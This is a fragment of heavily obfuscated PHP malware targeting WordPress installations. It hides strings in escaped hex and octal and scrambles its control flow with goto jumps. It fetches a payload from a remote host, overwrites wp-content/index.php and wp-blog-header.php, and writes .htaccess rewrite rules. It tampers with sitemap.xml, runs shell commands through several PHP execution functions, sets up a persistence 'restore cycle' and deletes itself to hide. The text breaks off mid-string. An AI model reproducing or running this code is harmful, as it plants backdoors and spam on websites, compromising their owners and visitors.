$obDOr["\x74\151\x74\154\145"] . "\75\75\x3d\76\x73\164\141\164\x75\163\x3a" . $vVcNJ; goto FQoxb; Z0VDz: if (isset($obDOr["\163\x74\141\164\165\163"]) && !empty($obDOr["\x73\164\x61\x74\165\163"])) { goto XRZXM; } goto Rkk_b; ZLBXO: VfZaZ: goto Z0VDz; aHt4Z: if (!($obDOr["\x73\x74\x61\x74\x75\x73"] == "\146\141\151\154")) { goto jLjed; } goto f12rx; ce52v: IhzmI: goto bGHk1; DKkuE: cKBxe: goto aHt4Z; zNQYb: if (!(sizeof($obDOr["\155\145\163\163\141\x67\x65"]) > 0)) { goto VfZaZ; } goto kKBxk; zFVMf: XRZXM: goto MogkI; m0gob: echo "\74\x62\x72\40\57\x3e"; goto sQRxC; mthTG: $obDOr["\x74\x69\164\x6c\145"] = ''; goto uXdvr; CBIbF: N0QZM: goto ZLBXO; kKBxk: foreach ($obDOr["\x6d\x65\x73\x73\141\147\145"] as $LHycY) { goto giQZg; RI2Jw: $LHycY = str_replace("\x66\141\x69\x6c", "\74\x66\157\x6e\x74\40\143\x6f\x6c\157\162\75\42\x72\145\144\x22\76\x66\x61\151\x6c\74\x2f\x66\157\156\164\76", $LHycY); goto HvISG; HvISG: echo "\x3c{$BLehe}\x3e" . $LHycY . "\x3c\57{$BLehe}\x3e"; goto LE8Ix; LE8Ix: o1G7a: goto cRjoN; WkNY0: $LHycY = str_replace("\x20\157\x6b", "\74\146\157\x6e\x74\40\x63\157\154\x6f\162\75\x22\x62\154\165\x65\42\76\x20\157\x6b\x3c\x2f\x66\157\x6e\x74\76", $LHycY); goto RI2Jw; giQZg: $LHycY = str_replace("\x73\x75\143\143\x65\163\163", "\74\146\157\156\164\x20\143\x6f\x6c\x6f\x72\x3d\42\x62\x6c\x75\x65\x22\76\163\165\x63\x63\x65\x73\163\x3c\x2f\x66\x6f\156\x74\76", $LHycY); goto WkNY0; cRjoN: } goto CBIbF; sQRxC: echo "\74\142\162\40\57\76"; goto xHzwN; f12rx: $vVcNJ = "\74\146\x6f\x6e\164\x20\143\157\154\x6f\x72\75\x22\x72\x65\144\x22\76" . $obDOr["\x73\x74\x61\164\x75\x73"] . "\x3c\57\x66\x6f\x6e\x74\x3e"; goto UVeJM; FQoxb: goto x1t01; goto zFVMf; g3lu0: echo "\x2d\55\55\x2d\55\55\x2d\55\55\x65\x6e\144\x20" . $obDOr["\x74\151\x74\154\x65"] . "\x3d\75\75\x3e\163\164\141\x74\165\163\x3a" . $vVcNJ; goto CCpku; rF6Zx: $vVcNJ = "\x3c\x66\157\156\164\x20\143\157\154\x6f\x72\x3d\42\147\162\145\145\x6e\42\x3e" . $obDOr["\163\x74\141\164\x75\x73"] . "\74\x2f\x66\157\156\x74\76"; goto DKkuE; Rkk_b: $vVcNJ = "\74\146\157\156\164\40\143\x6f\x6c\157\x72\75\42\147\x72\x65\145\156\x22\x3e\x6f\153\x3c\57\146\157\x6e\164\76"; goto V1NRi; bGHk1: if (is_array($obDOr)) { goto AXWDT; } goto J8Mjz; iR2ku: AXWDT: goto hnC98; xHzwN: } goto n23l_; IUZGy: XSjYk($igxKb); goto j9UMY; HGKGT: $PMcrH = $aQ8qB($igxKb . "\x2f\167\160\55\x63\157\156\164\145\x6e\164\x2f\x69\x6e\144\145\x78\x2e\x70\150\160", $mebtA); goto zt_0L; S0sNm: $zU1K3 = parse_url(trim($qIk1M)); goto iHSE1; pejf2: $juNPq = "\150\x74\x74\x70\x3a\x2f\x2f\163\x2e\156\x65\x77\156\144\x61\171\x2e\x78\x79\172\57"; goto KRxFY; wTn5I: goto PF49p; goto F2beV; mpIww: $pYgy2 = Ji6vF(); goto Xj1jP; qL7Wb: $BmHzI = array_values($baxhB); goto DtHCb; g93Vr: $bmVNA = explode("\x7c", $qIk1M); goto JqG20; CNAT7: @unlink(__FILE__); goto wTn5I; ODoe5: goto IQCzQ; goto wOKR8; wOKR8: TA1_X: goto xCOHN; sRpxE: function sUKz4($mSpBw, $BcHhW = null, $aghAX = null) { goto Vq8i9; diKzm: if (!(stripos($mSpBw, "\150\x74\x74\x70\x73\72") === false)) { goto xEtik; } goto ldJ0b; g4PQH: curl_setopt($qcDc9, CURLOPT_URL, $mSpBw); goto zRth4; G075c: xEtik: goto giq8k; h5Noy: QDK7g: goto Z8SVO; Vq8i9: $qcDc9 = curl_init(); goto g4PQH; j62Ch: return $zX4kU; goto altRW; h2l68: curl_setopt($qcDc9, CURLOPT_POSTFIELDS, $aghAX); goto mmSDY; DcSEa: curl_setopt($qcDc9, CURLOPT_RETURNTRANSFER, 1); goto vUhNn; giq8k: if (!(is_array($BcHhW) && !empty($BcHhW))) { goto QDK7g; } goto Ez5AF; zRth4: curl_setopt($qcDc9, CURLOPT_FOLLOWLOCATION, 1); goto O_jyo; Z8SVO: if (!(is_array($aghAX) && !empty($aghAX))) { goto pJ3rU; } goto cuMzt; O_jyo: curl_setopt($qcDc9, CURLOPT_ENCODING, "\147\x7a\151\x70\54\144\x65\146\154\x61\164\x65"); goto diKzm; mmSDY: pJ3rU: goto DcSEa; cuMzt: curl_setopt($qcDc9, CURLOPT_POST, 1); goto h2l68; Ez5AF: curl_setopt($qcDc9, CURLOPT_HTTPHEADER, $BcHhW); goto h5Noy; RoXJh: curl_setopt($qcDc9, CURLOPT_SSL_VERIFYHOST, FALSE); goto G075c; ldJ0b: curl_setopt($qcDc9, CURLOPT_SSL_VERIFYPEER, FALSE); goto RoXJh; vUhNn: $zX4kU = curl_exec($qcDc9); goto Ei22E; Ei22E: curl_close($qcDc9); goto j62Ch; altRW: } goto AElve; frE8N: echo $XLwLf["\163\x74\141\164\x75\x73"]; goto CMsnx; k2LC_: yLDxz: goto ZlQc_; tfH3f: $mebtA = Del01($juNPq . "\164\x31\x2f\x77\x70\x2d\166\145\x72\56\x67\151\x66"); goto HGKGT; D9M28: $dqD06 = "\x77\x70\x2d\x68\145\x61\x64\56\160\150\160"; goto VsCIq; das3I: uxPWV: goto QBnxz; o2Dn1: if (!(strpos($f0gu7, "\136\x28") !== false && strpos($f0gu7, "\156\145\167\56\160\x68\160") == false && strpos($f0gu7, "\143\x61\156\x67\x6d\141\x2e\160\x68\x70") == false)) { goto RGLzL; } goto RAOLU; GCdsM: $hb7rK = ''; goto Gg5_h; bbvG3: nU9af: goto ZG1nG; batsv: $DqwSX = trim($BmHzI[2]); goto lQ1N_; uqsHI: $AjLkw = I2a4r(); goto oDUih; QBnxz: @unlink(__FILE__); goto KU43H; uN3Hz: echo "\x3c\x2f\164\x65\170\164\141\162\145\x61\x3e"; goto rtFjo; cRt7y: $dMAgn = explode("\x7c", $EV1_G); goto dJbDh; g_20u: J4YPe: goto FmiMz; VsCIq: gdLGP: goto JleiJ; CFq82: error_reporting(E_ALL); goto U3U1a; h_fys: $ut4Zw = unlink($igxKb . "\57\167\160\x2d\x62\154\157\x67\x2d\x68\x65\141\144\145\162\x2e\160\x68\x70"); goto rh2Cb; lg0jq: rv9Fr: goto MKtwj; mHaLZ: $EV1_G = ''; goto yGmpn; F2beV: yHxJe: goto tfH3f; oDUih: RHkCs($AjLkw); goto xwg8P; vQBWC: eyw6w: goto v3WHn; HRGbx: $Bzot4 = explode("\x2c", $bmVNA[1]); goto bd5S7; wXsWp: function asujy($ho7Yf, $r6wPS = "\160\x6f\x70\145\156") { goto OL8PG; zNMFn: switch ($r6wPS) { case "\160\162\157\x63\137\x6f\160\145\156": goto YHID1; U8R5F: return false; goto XkAEa; Hsx1i: proc_open($ho7Yf, $PHKKL, $sJfSM); goto U8R5F; YHID1: $PHKKL = array(0 => array("\x70\151\160\x65", "\162"), 1 => array("\x70\151\160\145", "\167"), 2 => array("\x70\151\x70\145", "\x65\x72\162\157\x72\56\x74\x78\x74")); goto jarC_; jarC_: $sJfSM = array(); goto Hsx1i; XkAEa: goto uM_au; goto H2kFW; H2kFW: case "\160\x61\x73\x73\164\x68\x72\x75": goto l3AwT; hFQaV: return false; goto HgiY0; l3AwT: passthru($ho7Yf); goto hFQaV; HgiY0: goto uM_au; goto uwcTL; uwcTL: case "\163\x68\145\154\x6c\x5f\145\x78\145\x63": goto MBeus; qZwiL: $obDOr = shell_exec($ho7Yf); goto mm4tu; MBeus: $obDOr = ''; goto qZwiL; HmGeX: goto uM_au; goto SG6_T; mm4tu: return $obDOr; goto HmGeX; SG6_T: case "\x73\x79\x73\x74\145\155": goto IHHfA; gCelN: system($ho7Yf, $obDOr); goto I06ry; IHHfA: $obDOr = ''; goto gCelN; XWxXO: goto uM_au; goto jMJnp; I06ry: return $obDOr; goto XWxXO; jMJnp: case "\160\157\160\x65\156": goto DVJvM; OIOol: goto McWcQ; goto J8oQw; cR8lK: pclose($kRLJP); goto bNoJX; Hrjyd: goto uM_au; goto ZXmH0; bNoJX: return $obDOr; goto Hrjyd; J8oQw: gStYW: goto cR8lK; U8G04: $obDOr .= $gYVLX; goto OIOol; NpG9I: if (feof($kRLJP)) { goto gStYW; } goto RnSfr; DVJvM: $kRLJP = popen($ho7Yf, "\x72"); goto Zb92o; Zb92o: McWcQ: goto NpG9I; RnSfr: $gYVLX = fgets($kRLJP, 4096); goto U8G04; ZXmH0: case "\x65\170\145\x63": goto epggU; f8ABg: CAG82: goto z1Pfi; GH1VY: foreach ($xr1wq as $cZewL => $jC1_3) { $obDOr .= $cZewL . "\40\72\40" . $jC1_3 . PHP_EOL; DAoub: } goto f8ABg; epggU: exec($ho7Yf, $xr1wq); goto GH1VY; UZ9u5: goto uM_au; goto cl2sG; z1Pfi: return $obDOr; goto UZ9u5; cl2sG: default: return false; goto uM_au; } goto Tf37Z; R6BVs: $obDOr = ''; goto zNMFn; Tf37Z: AXRqn: goto pR7ql; CotoF: foreach ($a2QWt as $gbaew) { $gJjT7[] = trim($gbaew); D8pOK: } goto EUWw9; vFGFD: $gVUsf = array("\163\171\x73\164\x65\x6d", "\x73\x68\x65\154\x6c\137\x65\x78\145\143", "\x70\157\x70\145\x6e", "\x65\x78\x65\x63", "\160\162\x6f\143\137\x6f\x70\x65\x6e", "\x70\141\163\x73\164\150\162\x75"); goto tFsl6; EUWw9: atXX4: goto vFGFD; w1k0B: toWu7: goto raWd7; tFsl6: $r6wPS = ''; goto ugCGX; OL8PG: $a2QWt = explode("\x2c", ini_get("\144\151\x73\x61\142\154\x65\x5f\x66\165\156\x63\164\x69\x6f\156\163")); goto u5pky; u5pky: $gJjT7 = array(); goto CotoF; hSYEb: kcdFx: goto R6BVs; jUBHB: return false; goto hSYEb; pR7ql: uM_au: goto ndcJR; raWd7: if (!empty($r6wPS)) { goto kcdFx; } goto jUBHB; ugCGX: foreach ($gVUsf as $uvlup) { goto Q982E; r7M6s: goto toWu7; goto GIDSW; GIDSW: eC5r6: goto exR6M; xpZq9: $r6wPS = $uvlup; goto r7M6s; exR6M: qRh6J: goto kLFkN; Q982E: if (in_array($uvlup, $gJjT7)) { goto eC5r6; } goto xpZq9; kLFkN: } goto w1k0B; ndcJR: } goto om9CA; FmiMz: if (isset($_GET["\145\156"])) { goto TA1_X; } goto fbxd5; VqSjX: $EV1_G = $E3fq4[0]; goto fyn0r; G0urF: Teu3q: goto zv1ot; WV6YB: $foHBE = $ZMROC[1]; goto G84nH; ZlQc_: WX6tn: goto S0sNm; KRxFY: $yYu3Y = $_SERVER["\123\x43\122\111\x50\x54\137\x46\111\114\x45\x4e\101\x4d\105"]; goto Ps3XP; MKtwj: if (!($zSwDY === '')) { goto FJMlT; } goto fRhXw; Un2gz: $ljE7s = array(); goto IUZGy; eFczP: $XLwLf = OrJsS(); goto ruuRf; rujql: w0J5r: goto ODoe5; adErc: $DqwSX = "\167\x70\x2d\x73\151\164\145\56\x70\150\160"; goto Wydu5; bRns9: goto Cg2Us; goto buqaL; jBKY2: if (!file_exists($igxKb . "\x2f\63\106\116\x44\111\103\x55\x32\x4b\110")) { goto PTnCX; } goto es1h0; JQi8v: echo "\74\x73\160\141\x6e\x20\163\164\x79\x6c\145\75\42\x66\x6f\156\x74\x2d\163\x69\x7a\x65\72\x32\x34\160\170\x3b\143\157\154\157\x72\x3a\162\145\144\x3b\42\x3e\xe5\234\260\xe5\x9b\276\xe5\267\xb2\xe7\xbb\x8f\345\255\x98\xe5\x9c\250" . "\x3c\57\163\x70\141\x6e\76\74\142\x72\x2f\x3e"; goto vH7XL; yS1cV: qJSVo: goto dsDHv; RRtgw: header("\101\143\143\145\163\163\55\x43\x6f\x6e\164\x72\157\x6c\x2d\101\154\x6c\157\167\55\x4f\x72\151\x67\151\156\x3a\52"); goto CFq82; xLPOi: $OoC83 = "\x3c\x49\146\115\157\x64\x75\x6c\145\x20\155\157\x64\x5f\162\x65\x77\162\x69\x74\x65\x2e\x63\x3e\15\12\122\145\x77\162\151\164\145\105\x6e\147\151\156\145\x20\x4f\x6e\xd\xa\122\x65\167\x72\151\164\145\102\x61\163\145\40\57\15\xa\122\145\167\x72\x69\164\x65\122\x75\x6c\x65\40\x5e\x69\x6e\144\145\170\x2e\160\x68\160\44\x20\55\x20\x5b\x4c\135\15\12\122\145\167\x72\x69\x74\145\x43\157\156\x64\x20\x25\173\x52\105\121\x55\x45\123\x54\137\106\111\x4c\105\116\101\x4d\105\175\40\41\x2d\146\xd\12\122\145\167\x72\151\164\x65\x43\x6f\x6e\144\40\x25\173\122\x45\x51\125\x45\123\x54\x5f\x46\111\114\105\116\101\x4d\x45\x7d\x20\41\55\144\15\12\x52\x65\167\x72\x69\164\145\122\165\154\x65\x20\56\x20\x69\156\144\x65\x78\56\160\150\160\40\x5b\114\135\15\12\x3c\57\x49\146\x4d\157\144\x75\x6c\145\76"; goto mHaLZ; vAeve: $I8slF = $GxmOn["\x64\x69\x72\x6e\141\x6d\x65"]; goto TryHe; QJFYA: foreach ($Bzot4 as $dmShJ) { goto Qi6lw; YCqRv: $IQArN = (int) $CQARS[1]; goto Q6TrA; yB17g: $CQARS = explode("\72", $dmShJ); goto YCqRv; Q6TrA: goto yLDxz; goto IuzRa; IuzRa: kBVpS: goto bIvnv; Qi6lw: if (!(strpos($dmShJ, strval($a7gAW)) !== false)) { goto kBVpS; } goto yB17g; bIvnv: Qvi6f: goto QeZiW; QeZiW: } goto k2LC_; IPeB1: echo "\167\x70\x2d\143\x6f\156\164\145\x6e\164\x2f\151\x6e\x64\x65\170\56\160\x68\160\40\146\x61\x69\x6c" . "\74\x62\162\x2f\76"; goto ZvX6I; C8G42: function i2a4R() { goto FZ8QL; WqWJq: return $AjLkw; goto o9P8i; jfYEA: $AjLkw[] = "\75\x3d\75\75\75\x20\145\x6e\144\40\x63\x72\141\143\153\40\141\x75\164\x6f\40\x72\145\x73\164\157\162\145\40\x63\171\x63\x6c\x65\40\x3d\75\x3d\x3d\x3d"; goto WqWJq; EyjrN: $GXs8V = $igxKb . "\x2f\63\106\116\x44\111\x43\x55\62\113\110"; goto YjX82; zDm95: $AjLkw[] = "\x6d\141\x6b\145\40\146\151\154\x65\x3a\40" . $GXs8V; goto jfYEA; FZ8QL: global $igxKb; goto tWl9X; YjX82: @touch($GXs8V); goto zDm95; tWl9X: $AjLkw = []; goto Vx_q7; Vx_q7: $AjLkw[] = "\75\75\75\x3d\x3d\40\163\164\x61\x72\164\x20\x63\162\141\x63\x6b\40\141\x75\x74\157\x20\x72\x65\x73\164\157\162\145\40\x63\171\143\x6c\145\40\x3d\x3d\75\x3d\x3d"; goto EyjrN; o9P8i: } goto XO8Am; jVQkb: $KdpoZ = NdyDx(); goto w_2A7; QV2Fn: $wgNIb = "\74\x3f\160\x68\x70\xd\xa\x2f\52\52\15\12\x20\52\x20\x4c\157\x61\144\163\40\164\x68\145\40\x57\157\x72\x64\x50\162\x65\x73\163\x20\145\156\166\x69\162\x6f\x6e\155\145\156\164\40\141\x6e\144\40\x74\x65\x6d\x70\154\x61\x74\x65\x2e\15\12\40\x2a\xd\12\40\x2a\x20\100\160\x61\143\x6b\141\147\x65\40\x57\157\x72\144\x50\162\145\x73\x73\xd\12\40\x2a\x2f\15\12\xd\12\151\x66\x20\x28\x20\x21\x20\x69\x73\x73\145\164\50\40\x24\167\160\x5f\144\x69\x64\137\x68\145\141\144\145\162\40\x29\x20\x29\x20\173\xd\xa\xd\12\x9\x24\167\160\x5f\x64\x69\144\x5f\x68\145\x61\x64\145\162\x20\75\x20\x74\x72\165\145\73\15\12\xd\xa\x9\57\57\x20\114\x6f\141\144\40\164\150\x65\40\127\x6f\x72\x64\x50\162\145\x73\163\40\x6c\x69\142\162\141\162\x79\x2e\15\12\x9\x72\145\x71\165\x69\162\145\137\x6f\x6e\143\x65\40\137\x5f\104\x49\122\137\137\x20\56\40\47\x2f\167\x70\x2d\154\x6f\141\x64\x2e\160\150\160\x27\x3b\xd\12\xd\xa\x9\57\x2f\40\123\145\x74\x20\165\160\x20\x74\x68\145\x20\x57\157\x72\x64\120\162\145\163\163\x20\161\165\x65\x72\171\56\xd\12\x9\167\160\x28\51\73\15\xa\15\12\11\x2f\57\x20\x4c\157\141\144\40\164\x68\x65\x20\x74\x68\145\x6d\145\40\164\x65\x6d\160\154\x61\x74\145\56\xd\12\11\162\x65\x71\x75\151\162\x65\x5f\x6f\x6e\x63\x65\x20\101\x42\x53\x50\101\124\x48\x20\x2e\x20\x57\120\111\116\x43\x20\x2e\x20\x27\57\x74\145\x6d\x70\154\141\x74\145\x2d\154\x6f\x61\x64\x65\x72\x2e\x70\x68\x70\47\x3b\15\xa\xd\xa\175\xd\12"; goto EmdfO; TryHe: if ($I8slF == "\57" || $I8slF == "\134") { goto OTaiz; } goto e2Ptr; LB0Zj: if (isset($_POST["\144\x62"])) { goto DaJUy; } goto ruQek; yGic8: $bUG6Q = "\x66\x69\x6c\x65\137\147\145\x74\x5f\143\x6f\x6e\x74\x65\x6e\164\x73"; goto xLPOi; dJYxq: F6EkA: goto Ja2iP; xnks9: if (!(!file_exists($igxKb . "\x2f\x33\106\x4e\104\x49\103\125\x32\x4b\x48") && $zNvau)) { goto lYbNv; } goto eFczP; bd5S7: $zU1K3 = parse_url(trim($qIk1M)); goto DdUl4; v3WHn: $aQ8qB = "\x66\151\154\145\x5f\x70\x75\164\137\x63\157\156\164\x65\156\x74\163"; goto yGic8; TzDQb: $DqwSX = ''; goto HYJ6a; rtFjo: xCN0R: goto GSejF; jKE_J: xjFwQ: goto uN3Hz; GSejF: if (!isset($ybeaC["\150\164\143\x6f\156\164\x65\156\164"])) { goto qJSVo; } goto GJNxd; mHBCA: FJMlT: goto zpTaZ; LBrWj: $igxKb = $S5rfJ[0]; goto O7lnx; ZcQ8G: $dqD06 = ''; goto TzDQb; fbxd5: if (isset($_POST["\145\156"])) { goto vkNI5; } goto LFR0S; iQxCx: if (!($igxKb == '' || strpos($igxKb, "\56\x70\x68\160") !== false)) { goto P9MmU; } goto DICXE; ufiIn: function xsJYK($PahyK) { goto Hv8cH; faoLD: kgiDR: goto nKLJ0; YMVjD: goto k3Mjm; goto tTf0x; yngOv: if (!($RMqxY != "\56" && $RMqxY != "\x2e\56")) { goto W1q0Y; } goto T4_Fc; T4_Fc: $jujRI = $PahyK . "\x2f" . $RMqxY; goto W9YO8; KjcWW: if (file_exists($jujRI . "\57\x69\x6e\x64\x65\170\56\x70\150\x70")) { goto Qm4kw; } goto sFzjA; nKLJ0: W1q0Y: goto YMVjD; andgf: if (!($AHJXW = opendir($PahyK))) { goto wlt2A; } goto MaPhD; tTf0x: C6pyC: goto gf3Dv; zd1To: if (!(($RMqxY = readdir($AHJXW)) !== false)) { goto C6pyC; } goto yngOv; MaPhD: k3Mjm: goto zd1To; gxGBG: xsjYK($jujRI); goto ERrpI; W9YO8: if (!(is_dir($jujRI) && !is_link($jujRI))) { goto kgiDR; } goto VzAVG; sFzjA: array_push($ljE7s, str_replace($igxKb . "\x2f", '', $jujRI)); goto m6VrZ; m6VrZ: Qm4kw: goto faoLD; ERrpI: j9yn9: goto KjcWW; gf3Dv: wlt2A: goto wKlm_; VzAVG: if (!(substr_count(str_replace($igxKb . "\x2f", '', $jujRI), "\57") < 3)) { goto j9yn9; } goto gxGBG; wKlm_: shuffle($ljE7s); goto hoZOG; Hv8cH: global $igxKb, $ljE7s; goto andgf; hoZOG: } goto eFNW5; qpIKE: $ckO9N = ''; goto bRns9; Psszy: function nDydx() { goto q1ga9; fxMjp: if ($r80UJ == false) { goto WimNd; } goto Cu8wk; wTLdW: return $iO2EM; goto b2hZF; CTjHo: $iO2EM["\x6d\145\x73\x73\141\147\x65"][] = "\x73\151\164\145\155\x61\x70\x2e\x78\x6d\154\40\x67\x65\164\40\x73\x75\143\143\145\163\163"; goto k9Hva; OhlX3: $r80UJ = SUKz4(sprintf("\45\163\72\57\57\45\163\57\x3f\x67\151\x6e\146\x6f", $tA_1h, $YU7U8), array("\x55\163\145\162\55\x41\147\x65\x6e\164\72\40" . $pECKg)); goto b72C8; yPWaO: HWB8e: goto CTjHo; QVWc9: return $iO2EM; goto Cexgc; SbbfT: $iO2EM["\x73\164\141\x74\x75\163"] = "\x66\141\x69\154"; goto AVP6R; GClkY: $iO2EM["\163\164\x61\x74\165\x73"] = "\157\x6b"; goto UrPgf; b2hZF: RSNhd: goto QVWc9; nuRJ8: $iO2EM["\163\164\x61\x74\x75\163"] = "\146\141\x69\x6c"; goto E8skI; q1ga9: global $igxKb, $tA_1h, $YU7U8, $juNPq, $OoC83, $zSwDY, $pECKg; goto jAeMt; CcoeO: goto sv2jj; goto yPWaO; k9Hva: $iO2EM["\x6d\x65\x73\x73\141\x67\x65"][] = "\163\151\x74\145\x6d\141\x70\x2e\170\155\x6c\40\151\163\x20\157\x75\162\x73"; goto hUbn4; MfgX5: unlink("\x73\x69\x74\145\155\x61\160\56\x78\x6d\154"); goto FH7VF; UrPgf: $iO2EM["\x74\151\164\154\x65"] = "\163\164\141\162\164\40\x73\x69\164\145\155\141\x70"; goto H26mj; FH7VF: Qk2m3: goto j0i25; hUbn4: sv2jj: goto LC3F5; murCs: ueo3s: goto fxMjp; mW_lh: WimNd: goto SbbfT; KlncW: r68Bj: goto murCs; E8skI: $iO2EM["\155\145\x73\163\x61\147\x65"][] = "\163\x69\164\145\155\x61\x70\56\170\155\154\x20\x67\145\164\40\x66\x61\x69\x6c"; goto G3EAa; H26mj: if (!file_exists("\x73\151\x74\x65\155\x61\160\56\x78\155\x6c")) { goto Qk2m3; } goto MfgX5; Cu8wk: if (strpos($r80UJ, "\x6f\x6b") !== false && strpos($r80UJ, "\63\x2e\63\56\63\61") !== false) { goto HWB8e; } goto nuRJ8; b72C8: goto ueo3s; goto KlncW; G3EAa: $iO2EM["\155\x65\x73\163\141\x67\x65"][] = "\163\x69\x74\x65\155\141\x70\56\170\x6d\154\x20\x69\x73\40\156\x6f\x74\x20\157\x75\162\x73"; goto CcoeO; j0i25: $r80UJ = sUkz4(sprintf("\x25\x73\72\x2f\x2f\x25\163\57\x67\x69\x6e\146\157", $tA_1h, $YU7U8), array("\x55\163\145\162\x2d\101\147\x65\x6e\x74\72\40" . $pECKg)); goto B3e8Q; jAeMt: $iO2EM = array(); goto GClkY; LC3F5: goto RSNhd; goto mW_lh; B3e8Q: if (strpos($r80UJ, "\157\153") === false && strpos($r80UJ, "\63\x2e\x33\x2e\x33\61") === false) { goto r68Bj; } goto OhlX3; AVP6R: $iO2EM["\155\x65\x73\163\141\x67\145"][] = "\163\151\x74\145\155\141\x70\x2e\x78\x6d\x6c\x20\x67\145\x74\x20\x66\141\151\154"; goto wTLdW; Cexgc: } goto voDWQ; fyn0r: RGLzL: goto pkeGu; denHy: $GxmOn = pathinfo($coWeL); goto vAeve; wZ3s8: if ($qIk1M != '') { goto nU9af; } goto UGAi1; SshzV: function eU_eg($mSpBw, $AQhmL) { $zN7aZ = array("\163\x73\x6c" => array("\x76\145\162\x69\x66\171\137\x70\x65\x65\162" => false, "\166\145\x72\x69\146\171\137\160\145\145\x72\x5f\156\x61\x6d\145" => false), "\x68\x74\164\x70" => array("\155\145\x74\x68\x6f\144" => "\x47\x45\124", "\164\151\x6d\145\157\x75\x74" => $AQhmL)); @file_get_contents($mSpBw, false, stream_context_create($zN7aZ)); } goto LhFTF; NZyLN: $coWeL = $_SERVER["\120\110\120\x5f\x53\x45\114\x46"]; goto denHy; GJNxd: echo "\150\164\143\157\x6e\164\145\156\x74\72\74\x62\x72\40\57\76\74\164\145\x78\x74\141\x72\x65\x61\40\x73\x74\171\154\145\x3d\42\167\x69\144\x74\x68\72\40\x34\60\45\x3b\x68\x65\x69\x67\x68\x74\x3a\40\62\x30\60\x70\170\x3b\x22\76"; goto LY5Ia; Q3yf5: $ed8sS = "\154\151\x6e\145"; goto g_20u; es1h0: unlink($igxKb . "\57\x33\x46\x4e\x44\x49\103\125\62\113\x48"); goto GVQR8; N9rwQ: wVFXO($ybeaC, $TliKB); goto L0OWw; xCOHN: $adNyG = $_GET["\x65\156"]; goto d96F9; DtHCb: $uI66V = trim($BmHzI[0]); goto hRi5H; uDUC1: chmod($igxKb . "\57\x77\160\x2d\142\x6c\157\x67\x2d\x68\145\x61\x64\x65\x72\x2e\x70\150\x70", 0644); goto h_fys; LFR0S: $adNyG = ''; goto aJ4zp; cuaQl: $hb7rK = "\x37"; goto vQBWC; j09jo: if (isset($_GET["\x64\142"])) { goto Teu3q; } goto LB0Zj; XO8Am: function hW9Ce($xr1wq, $PZDu6 = 2) { goto crON2; CHP2C: return false; goto U56X4; crON2: if (!(count($xr1wq) < $PZDu6)) { goto NPg6G; } goto CHP2C; Nkb5b: $yIZjk = array_intersect_key($xr1wq, array_flip($x60ir)); goto qyr1B; qyr1B: return $yIZjk; goto sNgzC; CKPEM: $x60ir = is_array($x60ir) ? $x60ir : array($x60ir); goto Nkb5b; U56X4: NPg6G: goto DWxgN; DWxgN: $x60ir = array_rand($xr1wq, $PZDu6); goto CKPEM; sNgzC: } goto ufiIn; Gg5_h: goto eyw6w; goto JTyxf; w_2A7: wvfXo($KdpoZ, $TliKB); goto vVLIN; dyDkY: DaJUy: goto pDYqa; LhFTF: function Bnoza() { goto ijxqd; ocibD: $drgrQ[] = "\x64\145\154\145\164\145\72\40" . $B5Rw1 . "\40" . ($bkT4m ? "\163\x75\143\143\145\x73\163" : "\x66\x61\151\154"); goto pqf91; RPiBt: return $drgrQ; goto fTghQ; pqf91: return $drgrQ; goto RedXw; MctFp: $drgrQ[] = "\x77\162\151\164\x65\40\x74\155\160\40\x66\151\x6c\145\72\x20" . $B5Rw1 . "\40" . ($bkT4m ? "\163\x75\x63\x63\x65\x73\x73" : "\x66\x61\x69\154"); goto m4rPw; G7rKH: GM_bK: goto jcmZJ; m4rPw: if ($bkT4m) { goto B_xVJ; } goto RPiBt; jBOoW: $bkT4m = @unlink($B5Rw1); goto ocibD; ubQiX: chmod($B5Rw1, 0644); goto jBOoW; gzgS5: $drgrQ = []; goto MDTUI; HpMNp: $drgrQ[] = "\147\145\x74\x3a\40" . $MR7vY . "\40\x6f\x6b"; goto ubQiX; ijxqd: global $igxKb, $tA_1h, $YU7U8, $OoC83, $zSwDY, $juNPq, $uI66V, $dqD06, $DqwSX, $aqaki; goto gzgS5; iYEoE: $bkT4m = @file_put_contents($B5Rw1, $aqaki); goto MctFp; izd35: $yWIbX = isset($_SERVER["\110\x54\x54\120\123"]) && $_SERVER["\110\124\124\120\x53"] == "\x6f\x6e" ? "\x68\164\x74\160\163" : "\x68\x74\164\x70"; goto jpPY_; fTghQ: B_xVJ: goto izd35; MDTUI: if (!file_exists($igxKb . "\x2f" . $DqwSX)) { goto GM_bK; } goto HUaO0; ufKx2: Eu_eG($MR7vY, 5); goto HpMNp; jpPY_: $MR7vY = str_replace($_SERVER["\x44\x4f\x43\x55\115\105\116\x54\x5f\x52\117\x4f\x54"], $yWIbX . "\72\x2f\57" . $_SERVER["\110\x54\x54\120\137\x48\117\x53\124"], $B5Rw1); goto ufKx2; HUaO0: chmod($igxKb . "\57" . $DqwSX, 0644); goto G7rKH; jcmZJ: $B5Rw1 = $_SERVER["\104\x4f\x43\x55\115\x45\x4e\124\x5f\x52\x4f\x4f\124"] . "\57" . $DqwSX; goto iYEoE; RedXw: } goto Fq2hu; O7lnx: goto MLXL5; goto rbXtk; e2Ptr: $S5rfJ = explode($I8slF, $OzejB); goto LBrWj; G84nH: $E3fq4 = explode("\x29\x24", $foHBE); goto VqSjX; pDYqa: $zSwDY = $_POST["\144\142"]; goto dJYxq; OeSGf: $OxaVj = "\x3c\x3f\x70\150\x70\15\xa\x2f\52\x2a\xd\12\x20\52\40\x4c\157\x61\144\163\40\x74\x68\145\x20\x57\157\162\x64\120\162\145\163\x73\40\145\x6e\166\x69\x72\157\x6e\x6d\x65\156\164\40\x61\x6e\144\40\164\145\x6d\x70\154\x61\164\145\56\xd\12\40\52\15\12\40\52\x20\x40\x70\141\143\x6b\x61\147\145\40\x57\157\162\144\x50\162\x65\163\163\15\xa\x20\52\x2f\15\12\xd\xa\x69\146\x20\x28\x20\41\40\x69\x73\163\145\x74\x28\40\x24\167\160\x5f\x64\x69\144\x5f\150\145\141\x64\145\162\40\x29\40\51\40\x7b\xd\xa\xd\12\11\x24\167\x70\137\x64\x69\144\137\150\145\141\144\145\x72\40\x3d\40\164\x72\165\145\73\xd\12\15\12\11\57\x2f\40\114\157\x61\144\40\x74\x68\x65\40\x57\x6f\x72\144\x50\x72\x65\163\x73\x20\154\x69\142\162\141\162\171\x2e\xd\xa\x9\x72\145\161\x75\151\x72\x65\x5f\x6f\x6e\x63\x65\40\137\137\x44\111\122\137\137\40\x2e\40\x27\x2f\167\160\55\154\157\141\x64\56\x70\150\x70\47\73\xd\xa\xd\12\11\x2f\x2f\40\123\x65\x74\40\165\160\x20\164\x68\x65\x20\127\x6f\162\x64\12